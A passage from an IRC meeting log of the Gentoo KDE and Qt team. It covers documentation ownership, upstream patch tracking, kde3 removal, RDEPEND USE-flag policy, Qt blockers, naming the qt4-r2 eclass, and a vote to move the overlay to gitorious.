+[21:52:01] <tampakrap> well, i don't agree with that, it shows that noone cares about docs which is sad
+[21:52:38] <tampakrap> come on, i just stated something, we can proceed in voting i guess, or go in your way then
+[21:53:20] <PSYCHO___> well i am willing to use it, problem is that noone else will edit it, its the same problem as is now
+[21:53:36] <wired> we can give it a shot
+[21:53:37] <PSYCHO___> we can keep those guides in our public_html folders to see it right-away
+[21:53:39] <wired> until next meeting
+[21:53:42] <PSYCHO___> but noone edit it anyway
+[21:53:50] <tampakrap> that's not the same
+[21:53:56] <wired> but we should *also* have someone in charge
+[21:54:18] <PSYCHO___> well i wanted someone in charge
+[21:54:22] <PSYCHO___> so he can say
+[21:54:26] <wired> that someone would check other commits and will _in_time_ get closer to the docs team
+[21:54:30] <ABCD> sorry I'm late; I forgot about the time change :(
+[21:54:31] <tampakrap> i could be in charge of docs since i am the main editor a while now, but i don't like this idea
+[21:54:36] <PSYCHO___> You XY wrote module for AB but did not document it, so do it now.
+[21:55:12] <PSYCHO___> so actualy devs introducing something new will be somehow forced to do the docs
+[21:55:38] <PSYCHO___> because "anyone does docs and we are happy" simply is NOT working
+[21:55:43] <tampakrap> the problem is that we don't update the docs BEFORE the change (minor or major)
+[21:56:31] <PSYCHO___> well that would be responsibility of doc master, to point when and what needs to be changed
+[21:56:35] <tampakrap> and that won't change by itself, even if we could write the docs in speech-to-text app
+[21:57:22] <PSYCHO___> i dont expect the lead to do the work, but delegate to other devs, and if those wont document, i am even willing to remove them from team
+[21:57:31] <tampakrap> okay i could do that but i'd expect from the members to respect more the documentation part
+[21:58:31] <tampakrap> okay if noone has a problem with that then i'll take charge of this position
+[21:58:40] *** Quits: ayoy (n=ayoy@gentoo/developer/ayoy) (Remote closed the connection)
+[21:58:52] <wired> tampakrap++
+[21:58:53] *** Joins: ayoy (n=ayoy@cs78245237.pp.htv.fi)
+[21:58:53] <PSYCHO___> ok
+[21:59:06] <tampakrap> i'll also introduce my system to gentoo-desktop mailing list (i hope devs+HT's are subscribed there)
+[21:59:09] <mrpouet> PSYCHO___: huh ? remove them from team ? for that ? (I agree document is an important thing does not matter) ... but blame them instead
+[21:59:23] <wired> while we're on the docs subject, note that I'm taking care of Qt docs
+[21:59:27] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 3: upstream coordination'
+[21:59:32] <tampakrap> mrpouet: it is even more important that coding
+[21:59:42] <tampakrap> just recall what hapened when we masked kdeprefix
+[21:59:46] <mrpouet> I meant it's a bit....excessive
+[21:59:51] <PSYCHO___> mrpouet: its seriously important for users
+[21:59:56] <PSYCHO___> mrpouet: and we present our work to users
+[22:00:00] <mrpouet> tampakrap: I said that I was agree :]
+[22:00:02] <PSYCHO___> mrpouet: we need to be 100% covered there
+[22:00:22] <mrpouet> (document is important) but the consequence is.... excessive imho
+[22:00:41] <PSYCHO___> mrpouet: now noone cared, so i will be really evil until they start to care
+[22:00:52] <wired> well
+[22:00:55] <wired> i must say
+[22:01:04] <wired> docs have always been one huge strength of gentoo
+[22:01:08] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[22:01:13] <wired> and lately they're degrading fast
+[22:01:15] <mrpouet> PSYCHO___: sadistic :P
+[22:01:17] <wired> so I like this initiative
+[22:01:29] <wired> lets bring them back :)
+[22:01:42] <Pesa> hello :)
+[22:01:49] <PSYCHO___> ok so lets loko onto the next toppic
+[22:01:51] <wired> second late to the party
+[22:01:57] <wired> :D
+[22:02:01] <PSYCHO___> as i can see some people had really the problem with TZ
+[22:02:02] <PSYCHO___> :D
+[22:02:05] <spatz> Pesa: hi :)
+[22:02:12] <PSYCHO___> Pesa: or you know that you are 1h late? :P
+[22:02:17] <Pesa> uhm...
+[22:02:20] <Pesa> 1h :O
+[22:02:25] <wired> he does not
+[22:02:27] <wired> date -u
+[22:02:29] <wired> Pesa: ^^
+[22:02:32] <Pesa> damn! timezone :s
+[22:02:43] <ABCD> Pesa: I had the same issue :D
+[22:02:43] <Pesa> sorry 
+[22:02:50] <PSYCHO___> ok so lets get to the topic :]
+[22:02:56] <wired> you'll read logs, lets go!
+[22:03:09] <PSYCHO___> who is willing to track upstream patches, and apply them where required
+[22:03:10] <Pesa> yep
+[22:03:30] <mrpouet> wired: or do like me, have a linux clock setting up to UTC :D
+[22:03:43] <PSYCHO___> this requires also requesting backports from TRUNK to branch on upstream
+[22:04:50] <mrpouet> PSYCHO___: you meant a unique guy ? other devs can't import patches from upstream ?
+[22:05:03] <mrpouet> (it's ambigous)
+[22:05:11] <PSYCHO___> they can, but should coordinate with him
+[22:05:14] <mrpouet> (at least for me with my fuc*$*$$* english)
+[22:05:16] <PSYCHO___> it can be even more people
+[22:05:29] <PSYCHO___> the point is that we would have the patches applied where needed
+[22:05:34] <PSYCHO___> in both overlay/tree
+[22:05:57] <mrpouet> PSYCHO___: mhhh... personally I could be interested
+[22:06:01] <jmbsvicetto> Hello
+[22:06:05] <wired> boss!
+[22:06:06] <jmbsvicetto> sorry for being late
+[22:06:08] <mrpouet> jmbsvicetto: hi
+[22:06:09] <mrpouet> :)
+[22:06:09] <PSYCHO___> currently we mostly wait on upstream to release new version
+[22:06:11] <wired> welcome jmbsvicetto 
+[22:06:14] <PSYCHO___> hello boss
+[22:07:09] <jmbsvicetto> Hi everyone
+[22:07:16] <PSYCHO___> ok, come on guys, he is half gnome, at least one more volunteer ;]
+[22:07:20] <PSYCHO___> its not that hard job :]
+[22:07:30] <tampakrap> i could help but not that much
+[22:07:36] <tampakrap> because i am mostly trunk user
+[22:08:00] <jmbsvicetto> PSYCHO___: what's up?
+[22:08:08] <jmbsvicetto> :(
+[22:08:10] <mrpouet> PSYCHO___: it's not an argument :p
+[22:08:16] <wired> jmbsvicetto: you want log so far?
+[22:08:17] <jmbsvicetto> Am I 1 hour late?? :|
+[22:08:18] <PSYCHO___> i want someone to coordinate patches with upstream :]
+[22:08:20] <mrpouet> I'm half gnome... and ? :D
+[22:08:21] <PSYCHO___> someone dedicated :]
+[22:08:22] <wired> jmbsvicetto: you are :P
+[22:08:49] * jmbsvicetto failed to read UTC :\
+[22:09:05] <jmbsvicetto> wired: yes, please (logs)
+[22:09:30] <wired> jmbsvicetto: ok i'll wgetpaste then hold on
+[22:09:49] <tampakrap> PSYCHO___: reavertm and ABCD would be perfect for this i guess
+[22:09:49] <PSYCHO___> ABCD: how about you? dont want to do this? :]
+[22:10:02] <PSYCHO___> tampakrap: exactly my thinking, but reaver is not around now
+[22:10:47] <PSYCHO___> the silence after i ask someone something :D hilarious
+[22:11:12] <ABCD> PSYCHO___: that would mean I'd actually have to figure out if commits to trunk are relevant/apply on the 4.3 branch...
+[22:11:22] <ABCD> (which means more work :( )
+[22:11:26] <mrpouet> btw, after this topic, I've another one (tiny)
+[22:12:00] <tampakrap> trunk after .70 is 90% incompatible with current branch
+[22:12:19] <mrpouet> (I'm pretty sure you will agree, but I wanted to talk about that during meeting anyway)
+[22:12:28] <wired> jmbsvicetto: http://dpaste.com/122503/
+[22:12:30] <PSYCHO___> ABCD: i mean more watch what bugs they fix, and ask them to patch it for branch too
+[22:13:02] <PSYCHO___> something like "i know you fixed crash X for trunk, but the error is in branch too, so could you fix it too so others dont have to wait for 4 months?"
+[22:13:05] <jmbsvicetto> wired: thanks
+[22:13:28] <PSYCHO___> and second responsibility would be just applying what users add to bugzilla as patches from upstream
+[22:13:39] <PSYCHO___> deciding if it is worth or not and so on
+[22:13:45] <ABCD> PSYCHO___: so long as someone files a Gentoo bug, and mentions the upstream bug; otherwise I'd never find it :)
+[22:13:48] <PSYCHO___> i dont expect that person to review all commits
+[22:13:59] <PSYCHO___> ABCD: thats the idea :]
+[22:14:09] <PSYCHO___> i dont expect you to browse the upstream one ;]
+[22:14:20] <ABCD> in that case, it shouldn't be too difficult
+[22:14:58] <PSYCHO___> i know, i just want someone to do it
+[22:15:07] <PSYCHO___> so i wont meet 20 days open bug with patch from upstream
+[22:15:29] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic 4: kde3 removal'
+[22:15:39] <PSYCHO___> ssuominen: around?
+[22:15:50] <PSYCHO___> ok as you might noticed kde3 is going away
+[22:15:56] <tampakrap> next topic, ssuominen is in progress of it :P
+[22:15:57] <PSYCHO___> its quite flawless i can say
+[22:16:04] * tampakrap points at #-commits
+[22:16:09] <PSYCHO___> http://dev.gentoo.org/~scarabeus/kde3almostgone.png
+[22:16:09] <wired> wave your hands while you still can
+[22:16:19] <wired> its going awayyyyyyyyyyyy
+[22:16:19] <PSYCHO___> this is what it did to our bugs
+[22:16:27] <PSYCHO___> so i want to hear one thing only here
+[22:16:34] <PSYCHO___> is something more required on that matter from us?
+[22:17:17] <wired> nothing i can think of
+[22:17:26] <PSYCHO___> me neither
+[22:17:30] <wired> ssuominen is really doing a great job with this
+[22:17:31] <PSYCHO___> thats why i wanted ask others
+[22:17:40] <ABCD> bye-bye bugs :D
+[22:17:57] <PSYCHO___> wontfix closing is fast :P but dont get used to it :D
+[22:18:10] <wired> :D
+[22:18:20] <wired> lets go to RDEPENDs
+[22:18:22] * tampakrap is waiting for kde5 - kde4-removal
+[22:18:41] <wired> tampakrap: go ahead and write kde5 then!
+[22:18:42] <PSYCHO___> jmbsvicetto: boss its your area
+[22:18:52] <PSYCHO___> jmbsvicetto: so elaborate why rdepend use deps are bad
+[22:19:30] *** Joins: pontecorvo (n=pontecor@93-183-229-187-dynamic.retail.datagroup.ua)
+[22:19:36] <PSYCHO___> okeey, anyone else? :]
+[22:19:41] <wired> :P
+[22:19:51] <wired> i personally like use flags for rdepends
+[22:20:06] <wired> but i'd like to hear why they're bad from those who don't
+[22:20:13] * PSYCHO___ dont care, einfo was always enough for me
+[22:20:17] <PSYCHO___> wired: well it is poluting the ebuild
+[22:20:21] <PSYCHO___> they are not entirely required
+[22:20:27] <wired> its not pollution
+[22:20:31] <PSYCHO___> so einfo with install X for feature Y
+[22:20:42] <wired> its only a few words and its helping you do things pre-emerge
+[22:20:50] <PSYCHO___> wired: if you stabilise package, it is polution, if you have to wait on optional rdepend to be stabilised
+[22:21:07] <wired> in that case
+[22:21:12] <wired> lets work on a per case basis
+[22:21:41] <wired> for example, obvious or important rdepends could go in use flags, others in info
+[22:21:46] <PSYCHO___> that actualy might work
+[22:22:33] <wired> if an rdepend disables/enables half the package's functionality, it should definately have a USE
+[22:22:45] <wired> if its a hidden option in the 3rd menu from the right
+[22:22:53] <wired> it could live without it :P
+[22:22:56] *** Quits: pontecorvo (n=pontecor@93-183-229-187-dynamic.retail.datagroup.ua) (Remote closed the connection)
+[22:23:35] <wired> but we *must* make sure we have einfo if we don't have USE
+[22:23:36] <wired> make it policy
+[22:23:41] <PSYCHO___> thats sound sane
+[22:24:05] <tampakrap> agreed
+[22:24:12] <tampakrap> add to CODE maybe?
+[22:24:15] <wired> yeah
+[22:24:27] <wired> oh sorry
+[22:24:30] *** Joins: pontecorvo (n=pontecor@93-183-229-187-dynamic.retail.datagroup.ua)
+[22:24:30] <wired> yeah, *docs* man
+[22:24:40] <PSYCHO___> ok someone can grab it from summary later then
+[22:24:41] <wired> :D
+[22:24:41] <PSYCHO___> :]
+[22:24:41] <jmbsvicetto> sorry, reading backlog
+[22:24:51] <tampakrap> i would kick you now, but we are in meeting
+[22:25:04] <PSYCHO___> jmbsvicetto: not entirely smart thing to do during continuous meeting :D
+[22:25:16] <jmbsvicetto> PSYCHO___: It isn't that rdepend use flags are bad, it's just that there are too many
+[22:25:34] <jmbsvicetto> at least it used to be too many -> quanta was the best/worst(?) example
+[22:25:53] <tampakrap> yes, because we are following upstream
+[22:26:24] <PSYCHO___> jmbsvicetto: well thats why it is per decision basics
+[22:26:33] <PSYCHO___> svn plugin can be controled by svn useflag
+[22:26:34] <jmbsvicetto> wired / PSYCHO___: I'm not sure they cause so many issues when marking it stable
+[22:26:46] <jmbsvicetto> we can always have a use flag masked in a profile
+[22:26:50] <PSYCHO___> jmbsvicetto: I DO, i try to stable such package right now
+[22:27:05] <PSYCHO___> :P
+[22:27:09] <jmbsvicetto> PSYCHO___: I was trying to catch something ;)
+[22:27:16] <wired> i think what i said above is good as a rule of thumb
+[22:27:43] <wired> devs should decide per case depending on the importance of the deps
+[22:27:47] <wired> so we don't end up with 30 RDEPEND USE flags
+[22:27:48] <wired> :p
+[22:27:54] <jmbsvicetto> I don't have a problem with a case-by-case, but then we'll get a bug for each package that we don't provide a use flag :P
+[22:28:18] <tampakrap> wontfix, because that's how we want it
+[22:28:34] <tampakrap> or fix, because we did a second thought
+[22:28:38] * jmbsvicetto puts user cloak: I want use flag X for installing package Z when I install package Y!!!
+[22:28:46] <PSYCHO___> http://www.pastebin.cz/26457
+[22:29:06] <wired> jmbsvicetto: we already have wontfix bugs like that
+[22:29:08] <jmbsvicetto> Ingmar: I'll try to poke you later, but I'm also interested in upstream's work on splitting KDE
+[22:29:11] <PSYCHO___> its up to us, not user decision
+[22:29:16] <jmbsvicetto> yes, I know
+[22:30:28] <PSYCHO___> ok, i guess we covered our last point
+[22:30:34] <PSYCHO___> so lets move to qt issues :]
+[22:30:37] <wired> w8
+[22:30:39] <tampakrap> wait plz
+[22:30:49] <wired> mrpouet has sth to add
+[22:31:04] <PSYCHO___> hm?
+[22:31:11] <wired> or had :P
+[22:31:15] <wired> mrpouet: u here?
+[22:31:21] <tampakrap> i have to say something too
+[22:31:36] <PSYCHO___> tampakrap: then speak :]
+[22:31:38] <wired> go ahead
+[22:31:42] <tampakrap> i'll start since mrpouet is somewhere else :P
+[22:32:13] <tampakrap> recently i fixed a bunch of live ebuilds, reported issues, patches etc
+[22:33:07] <tampakrap> since i recompile kde and qt live packages very frequently, i would like your permission to create a doc which will track live ebuilds' upstream and downstream bugs, etc
+[22:33:15] <tampakrap> which are broken and need love etc
+[22:33:43] <tampakrap> if you think that a doc is not appropriate i could do a page in gentoo-wiki for example
+[22:34:11] <PSYCHO___> tampakrap: go ahead, try to motivate some non-team people to help you
+[22:34:18] <PSYCHO___> tampakrap: so you can recruit your minions ;P
+[22:34:30] <wired> on that note, we could create a script
+[22:34:31] <tampakrap> no way, you are the ht lead
+[22:34:34] <wired> that picks up your daily rebuild
+[22:34:44] <wired> and generates a webpage of what failed and what worked
+[22:34:45] <wired> :p
+[22:34:52] <PSYCHO___> you mean something like dirk-dashboard?
+[22:34:52] <ayoy> ;]
+[22:34:57] <ayoy> contonuous integration
+[22:34:57] <PSYCHO___> or something like bump-tool?
+[22:35:07] <PSYCHO___> http://dev.gentoo.org/~scarabeus/vystup.html
+[22:35:08] <spatz> something like buildbot?
+[22:35:27] <tampakrap> a script that takes logs and uploads them somewhere
+[22:35:29] <wired> something like that PSYCHO___ 
+[22:35:45] <wired> like the thing gnomies have
+[22:35:49] <PSYCHO___> tampakrap: well do it if you want it
+[22:35:55] <wired> i can create a custom script if we don't have something ready
+[22:36:03] <tampakrap> we don't
+[22:36:05] <tampakrap> ok ok
+[22:36:09] <tampakrap> covered
+[22:36:11] <wired> just give me the logs :P
+[22:36:28] <PSYCHO___> ok so lets moove to the qt since mrpouet is not around
+[22:36:36] <tampakrap> wait a minute
+[22:36:47] <tampakrap> it seems not covered
+[22:37:06] <tampakrap> wired: the script would be usuable if it could automatically take the build.logs from the failed packages
+[22:37:11] <tampakrap> and upload them somewhere
+[22:37:33] <PSYCHO___> tampakrap: its not entirely meeting material, and we have meeting already for 1h30minutes... just discuss this with wired on -kde afterwards :]
+[22:37:33] <wired> yeah
+[22:37:37] <tampakrap> and we can add a comment next to each one of them, like upstream bug or whatever
+[22:37:39] <wired> we'll talk about it off list
+[22:37:43] <wired> off meeting*
+[22:37:43] <tampakrap> ok ok
+[22:37:51] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic QT 1: qt mono package'
+[22:37:58] <ayoy> !herd qt
+[22:38:00] <Willikins> (qt) abcd, ayoy, carlo, hwoarang, spatz, tampakrap, wired, yngwin
+[22:38:14] <tampakrap> surprisingly i am here
+[22:38:21] <wired> one of our biggest issues
+[22:38:26] <wired> with the split ebuilds
+[22:38:29] <wired> the USE flag madness
+[22:38:31] <wired> is now solved
+[22:38:38] <wired> because anything < 4.5.3 is off the tree
+[22:38:41] <ayoy> \ö/
+[22:38:41] <tampakrap> lol, when?
+[22:38:54] <yngwin> i still see people struggling with it
+[22:39:03] <ayoy> because they are updating to 4.5.3, not?
+[22:39:11] <yngwin> yes
+[22:39:12] <ABCD> yay
+[22:39:19] <ayoy> once they update, we're done with this shit
+[22:39:29] <wired> so its solved from our side
+[22:39:50] <wired> the only thing left is the Qt update blocker madness
+[22:40:01] <wired> but i think people are beginning to understand that b blocks are autosolvable
+[22:40:05] <yngwin> but we'll still have to support latecomers for a long time
+[22:40:28] <spatz> we'll have to support latecomers no matter what
+[22:40:39] <wired> yngwin: agreed, but that doesn't really change anything if we merge splits into a monolithic
+[22:40:45] <wired> s/anything//
+[22:41:05] <yngwin> it would, but anyway
+[22:41:28] <wired> i mean, they'd still have to do some migration work
+[22:41:38] <ayoy> like update with no blockers
+[22:41:40] <ayoy> :)
+[22:42:06] <yngwin> yes, but that would be clearer than the current mess with blockers and useflags - portage is just not giving very clear feedback to users
+[22:42:20] <wired> i agree with the feedback thing
+[22:42:45] <wired> but with the useflags issue _mostly_ gone, do you feel the blockers are good enough a reason to change things?
+[22:42:52] <ABCD> well, we could say that that's a portage bug ;)
+[22:43:09] <yngwin> it is mostly a portage problem yes
+[22:43:16] <spatz> xorg packages, for example, don't have blockers for maximum versions, only minimal, so users see less blockers
+[22:43:18] <PSYCHO___> well portage should shut up about autosolved blocks
+[22:43:20] <yngwin> but we'll have to work with portage
+[22:43:29] <PSYCHO___> i dont understand why it writes them out
+[22:43:36] <spatz> qt has both maximum and minimum version blockers and that's creating weird issues
+[22:43:39] <PSYCHO___> most users get only confused
+[22:43:43] <wired> imo the right way to do this is fix portage
+[22:43:58] <wired> i really want to get into portage development but i just can't these days
+[22:44:01] *** Joins: tampakrap_ (n=tampakra@ppp-94-66-145-248.home.otenet.gr)
+[22:44:01] <Sput> why do we need maximum version blockers?
+[22:44:04] <wired> i am considering doing so in the future
+[22:44:16] <Sput> downgrading Qt isn't really supported anyway
+[22:44:31] <wired> Sput: you can't mix Qt versions
+[22:44:35] <spatz> Sput: to make sure user has exactly the same version of all packages
+[22:44:35] <ayoy> Sput: mixing versions anyhow is neither
+[22:44:36] <wired> period :P
+[22:44:46] <Pesa> wired: i'd like to too ;)
+[22:44:51] <Sput> yes, but the common case is upgrade, yes?
+[22:45:01] <spatz> again, see xorg use case
+[22:45:01] <yngwin> to my mind this shows why we need monolithic
+[22:45:06] <PSYCHO___> something like MDEPEND
+[22:45:07] <spatz> downgrading doesn't usually work either
+[22:45:08] <Sput> so minimum blockers would be enough to force all qt packages be updated if one is updated
+[22:45:12] <PSYCHO___> if package is around then require this version
+[22:45:16] <PSYCHO___> otherwise do not care
+[22:45:18] <PSYCHO___> so called
+[22:45:22] <PSYCHO___> MAGIC DEPENDENCY
+[22:45:29] <ayoy> :)
+[22:45:38] <spatz> with only minimum blocks users won't get blockers
+[22:45:49] <PSYCHO___> come on its exactly what you want, that might be actualy easy to do with current code
+[22:45:55] <PSYCHO___> it will just need new eapi :/
+[22:46:24] <wired> PSYCHO___: current code can't do it, i've tried to express it with complex bash but it still shells out blockers
+[22:46:27] <wired> we need new depend type
+[22:46:30] <yngwin> anyway, we said we'd discuss it on ML, which as far as i can see has not happened
+[22:46:43] <wired> it did not
+[22:46:44] <PSYCHO___> wired: i said so, new depend type MDEPEND
+[22:46:49] <wired> PSYCHO___++
+[22:46:57] <yngwin> who wants to start the ML discussion?
+[22:46:58] <PSYCHO___> and it is easy to adjust
+[22:47:00] <PSYCHO___> the portage code
+[22:47:04] <PSYCHO___> about this
+[22:47:13] <wired> yngwin: I can
+[22:47:19] <yngwin> great
+[22:47:22] <yngwin> next topic
+[22:47:35] <wired> status of qt-tng
+[22:47:42] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic QT 2: Status of new qt-tng.eclass'
+[22:47:56] <ayoy> I've been reviewing it for last 1,5 hours
+[22:47:59] <yngwin> hwoarang said he couldnt continue with this because of circumstances
+[22:48:10] <yngwin> i think it's ready
+[22:48:12] <wired> yes so are we happy with it enough to post it in -dev?
+[22:48:26] <ayoy> provided that we remove prepare_translations?
+[22:48:45] <ayoy> this one seems not so handy
+[22:48:52] <ayoy> tries to address a common case
+[22:48:58] <yngwin> let's prepare the eclass for qt@ before sending it off to -dev
+[22:48:59] <ayoy> but the common case doesn't really exist
+[22:49:06] <Pesa> except there isn't a common case :)
+[22:49:14] <wired> so lets remove that
+[22:49:21] <ayoy> I will
+[22:49:23] <yngwin> yes, we already said that
+[22:49:38] <Pesa> ok
+[22:49:47] <yngwin> ok, ayoy, can you finalize the eclass and send it to qt@ ?
+[22:49:47] <ayoy> hey, btw
+[22:49:48] *** Quits: tampakrap (n=tuxicity@gentoo/developer/tampakrap) (Read error: 54 (Connection reset by peer))
+[22:49:56] <ayoy> yngwin: yes I can
+[22:50:15] <wired> great
+[22:50:18] <yngwin> then we can all have a look and comment if needed, then send it to -dev
+[22:50:21] <ayoy> are we all happy with the eclass name?
+[22:50:26] * ayoy is not
+[22:50:29] <yngwin> not really
+[22:50:36] <wired> ayoy: i talked with picard the other day, he said he liked it
+[22:50:36] <PSYCHO___> you already voted on it, but didnt decide anything
+[22:50:39] <Pesa> i am not but i don't really care
+[22:50:41] <ayoy> qt4-edge kicks testicals very hard, I like it
+[22:50:51] <wired> not -edge
+[22:50:54] <wired> we need that for overlay
+[22:51:03] <yngwin> qt4v2
+[22:51:03] <wired> else we'll have to start overriding and crap
+[22:51:11] <ayoy> wired: you mean that qt4-edge will stay in overlay?
+[22:51:17] <yngwin> we need eclass versioning dammit
+[22:51:26] <Pesa> yngwin++
+[22:51:31] <wired> ayoy: yes, we need to keep developing there, don't we? :P
+[22:51:37] <ayoy> we do
+[22:51:43] <wired> yngwin: indeed
+[22:51:44] <yngwin> indeed, wired is right
+[22:51:53] <spatz> I propose qt4-next :/
+[22:51:58] <PSYCHO___> qt42morow
+[22:51:58] <ayoy> better :)
+[22:52:03] <wired> qt4-v2
+[22:52:08] <PSYCHO___> read it ^
+[22:52:10] <ayoy> qt4evar
+[22:52:11] <PSYCHO___> in english
+[22:52:16] <wired> PSYCHO___: we did :P
+[22:52:33] <PSYCHO___> :]
+[22:52:41] <PSYCHO___> qt4-blesmrt
+[22:52:42] <PSYCHO___> :]
+[22:52:43] <wired> qt4-r2
+[22:52:45] <spatz> ok, let's not waste time on bikesheds
+[22:52:50] <wired> ^^ in the gentoo spirit
+[22:52:54] <spatz> lol
+[22:52:56] <ayoy> :)
+[22:53:09] <yngwin> i like that, wired
+[22:53:10] <spatz> this meeting is already taking 2 hours :/
+[22:53:16] <ayoy> let's move on
+[22:53:17] * spatz likes it too
+[22:53:23] <wired> :D
+[22:53:25] * ayoy too
+[22:53:25] <PSYCHO___> so name unchanged
+[22:53:27] <PSYCHO___> ?
+[22:53:28] <yngwin> ok, qt4-r2.eclass
+[22:53:30] <ayoy> no, changed
+[22:53:41] <yngwin> next topic
+[22:53:46] <wired> w00t, we got rid of startrek
+[22:53:47] <wired> ok 3.
+[22:53:50] <wired> #gentoo-qt
+[22:53:52] <wired> do we want it?
+[22:53:58] <tampakrap_> plz no
+[22:54:01] <spatz> no
+[22:54:02] <yngwin> i dont see the need
+[22:54:02] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic QT 3: #gentoo-qt'
+[22:54:05] <ayoy> I'd say we rather need a separate meeting
+[22:54:09] <ayoy> than a separate channel
+[22:54:11] <wired> its already registered and when i was bored I added permissions
+[22:54:18] <wired> so if you ever feel like it
+[22:54:18] <wired> :)
+[22:54:24] <tampakrap_> ok, but plz no
+[22:54:26] <tampakrap_> :)
+[22:54:47] <wired> i think -kde is fine as well, but its there if we need it
+[22:54:50] <spatz> ok, so we all agree on 'no'
+[22:54:57] <tampakrap_> neeeext
+[22:55:01] <yngwin> let's keep it
+[22:55:01] <spatz> ok, we have a backup for a nuclear war or sth
+[22:55:06] *** PSYCHO___ changes topic to 'KDE Team meeting 19.11. 19:00 UTC: Topic QT 4: einfo mess'
+[22:55:12] <wired> 4.
+[22:55:13] <yngwin> but we'll continue to use -kde for the time being
+[22:55:18] <spatz> it was already cleared out yesterday
+[22:55:23] <spatz> by wired
+[22:55:23] <wired> btw DONT RUSH
+[22:55:32] <wired> :D
+[22:55:37] <spatz> the messages only show for qt-core now
+[22:55:37] <ayoy> qt-core only
+[22:55:37] <ayoy> ?
+[22:55:38] <spatz> so I think it's better
+[22:55:41] <ayoy> awesome
+[22:55:41] <tampakrap_> tommy[d] complaint many times about this warning overload
+[22:55:48] <wired> tampakrap_: i already fixed it
+[22:55:51] <wired> confined it to qt-core
+[22:55:54] <yngwin> yes, change was committed yesterday
+[22:55:56] <ayoy> ok, I love it
+[22:56:02] <tampakrap_> cool
+[22:56:05] <spatz> we can (and should) shorten the text, but it's much less spam now
+[22:56:10] <wired> yeah
+[22:56:10] <yngwin> if any more cutting is needed, let us know
+[22:56:15] <wired> like 11 times less
+[22:56:18] <spatz> lol
+[22:56:19] <ayoy> :)
+[22:56:21] <spatz> great, so next
+[22:56:24] <wired> 5.
+[22:56:25] <wired> gitorious
+[22:56:30] <PSYCHO___> wait
+[22:56:32] <yngwin> we could look at the text again
+[22:56:38] <yngwin> see if it can be shortened
+[22:56:40] <spatz> only downside is no commit bot coolness
+[22:57:02] <wired> yngwin: i can do it
+[22:57:09] <yngwin> i also like the suggestion to put it in out docs and refer in einfo to our docs page
+[22:57:34] <yngwin> wired: ok, do it and let us know what you come up with
+[22:57:34] <wired> thats not bad either
+[22:57:38] <wired> k
+[22:57:41] <wired> will mail qt@
+[22:57:47] <tampakrap_> i'll do the docs btw
+[22:57:48] <spatz> oooh I like that
+[22:57:53] <yngwin> alright
+[22:57:53] <ayoy> ok then
+[22:57:55] <spatz> no one thought otherwise :)
+[22:57:57] <ayoy> why not github?
+[22:58:04] <yngwin> next topic
+[22:58:11] <wired> tampakrap_: i'll do the Qt docs
+[22:58:13] <spatz> many ppl don't have github accounts but want overlay access
+[22:58:17] <wired> keep it split so we actually do something
+[22:58:24] <ayoy> they can create
+[22:58:25] <ayoy> or die
+[22:58:37] <spatz> and gitorious is the new black, or something
+[22:58:45] <ayoy> oh
+[22:58:48] * ayoy checks
+[22:58:53] <yngwin> i like gitorious because you an have more people administer the repo
+[22:59:03] <yngwin> can*
+[22:59:06] <spatz> it's better in most ways, except cia.vc integration
+[22:59:12] <spatz> I like the bot we have in #-kde
+[22:59:13] <wired> the only real disadvantage is cia
+[22:59:17] <wired> do we care enough?
+[22:59:17] <yngwin> i am now the bus factor for github
+[22:59:18] <ayoy> yngwin: good point
+[22:59:38] <tampakrap_> no
+[22:59:40] <wired> i mean kde doesn't have cia either, big deal
+[22:59:41] <ayoy> I do only a bit 
+[22:59:58] <yngwin> not really, cia bot is nice, but there are other ways
+[23:00:04] <wired> i like the cia wow factor as well, but if gitorious is better/more reliable/more popular
+[23:00:09] <ayoy> like capslock
+[23:00:11] <tampakrap_> my commit number got too high because of qting-edge, i almost lost my gentoo/slacker cloak
+[23:00:13] <wired> lets go there and switch the hooks to keep github in sync
+[23:00:25] <ayoy> hey hey
+[23:00:26] <ayoy> btw
+[23:00:26] <ayoy> !
+[23:00:36] <ayoy> if we switch to gitorious
+[23:00:41] <ayoy> we still have github as a backup, no?
+[23:00:47] <ayoy> we still have the bot
+[23:00:50] <ayoy> period.
+[23:00:54] <wired> right
+[23:00:56] <tampakrap_> touche
+[23:00:58] <wired> ayoy++
+[23:00:58] <Pesa> heh right
+[23:01:00] <spatz> new ppl who only have gitorious access won't be able to push to github
+[23:01:02] <ayoy> lol
+[23:01:02] <ayoy> :)
+[23:01:10] <wired> spatz: no issues, we'll push for them
+[23:01:10] <spatz> so not really
+[23:01:13] <PSYCHO___> so vote for it
+[23:01:22] <yngwin> yes, vote
+[23:01:27] <PSYCHO___> as in topic it is named as voting for gitorious as main repo
+[23:01:28] <tampakrap_> gitorious
+[23:01:30] <wired> +1 gitorious
+[23:01:40] <spatz> ok then, +1 gitorious
+[23:01:46] <yngwin> gitorious
+[23:01:46] <ayoy> gitorious + github as backup
+[23:01:54] * spatz switches url order in .git/config
+[23:02:17] <yngwin> ABCD?
+[23:02:29] <ABCD> abstain
+[23:02:33] <yngwin> ok
+[23:02:37] <tampakrap_> btw can we do the same trick with kde-testing to get cia bot there as well?
+[23:02:53] <Pesa> lol
+[23:03:00] <wired> only if people actually push to gitorious as well
+[23:03:06] <wired> better poke PSYCHO___ to fix it
+[23:03:07] <wired> :p
+[23:03:08] <spatz> you mean github
+[23:03:12] <wired> yeah
+[23:03:13] <wired> :D
+[23:03:22] <spatz> if git.o.g.o has cia integration you don't have to
+[23:03:23] <PSYCHO___> ok last topic
+[23:03:25] <wired> s/gitorious/github/
+[23:03:26] <yngwin> so we need to make an announcement about that, to push to gitorious as main repo, and change layman url
+[23:04:05] <yngwin> any volunteers?
+[23:04:12] <wired> announcement in like -dev? qt2?
+[23:04:13] <wired> qt@?
+[23:04:21] <yngwin> qt@
+[23:04:27] <wired> i'll do it
+[23:04:30] <ayoy> no big deal :)
+[23:05:08] <wired> im Qt PR
+[23:05:09] <wired> :p
+[23:05:09] <PSYCHO___> last topic: removal of changelogs from overlay
+[23:05:15] <wired> that one was mine
+[23:05:17] <yngwin> also proj page
+[23:05:39] <wired> lets remove them, they keep breaking my nerves, git logs are enough!
+[23:05:48] <yngwin> NO
+[23:05:48] <spatz> wired++
